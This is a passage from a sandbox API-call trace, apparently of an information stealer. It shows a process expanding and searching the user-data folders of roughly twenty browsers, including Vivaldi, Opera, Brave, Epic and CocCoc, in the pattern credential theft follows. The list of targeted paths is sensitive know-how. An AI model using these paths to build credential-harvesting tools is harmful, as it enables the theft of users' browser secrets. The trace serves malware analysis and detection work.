(in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.554] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.554] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.554] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned 0x4a [0061.555] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.555] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.555] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.555] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Vivaldi\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\") returned 0x3f [0061.555] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.555] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.555] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.555] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Opera Software\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\") returned 0x3e [0061.555] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.555] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.555] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.555] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Go!\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\") returned 0x3b [0061.555] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.555] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.555] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.555] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\") returned 0x47 [0061.555] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.556] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.556] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.556] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Kometa\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\") returned 0x3e [0061.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.556] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.556] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.556] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned 0x46 [0061.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.556] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.556] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.556] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\QIP Surf\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\") returned 0x40 [0061.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.556] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.556] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.556] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned 0x4c [0061.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.556] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.557] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.557] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\brave\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\") returned 0x35 [0061.557] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.557] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.557] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.557] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned 0x46 [0061.557] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.557] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.557] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.557] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CentBrowser\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\") returned 0x43 [0061.557] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.557] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.557] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.557] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\") returned 0x43 [0061.557] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.557] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.557] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.557] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Elements Browser\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\") returned 0x48 [0061.558] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.558] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.558] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.558] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\TorBro\\Profile\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\") returned 0x3c [0061.558] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.558] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.558] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.558] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Suhba\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\") returned 0x3d [0061.558] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.558] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.558] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.558] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\") returned 0x59 [0061.558] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.558] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.558] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.558] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned 0x48 [0061.558] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.559] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, 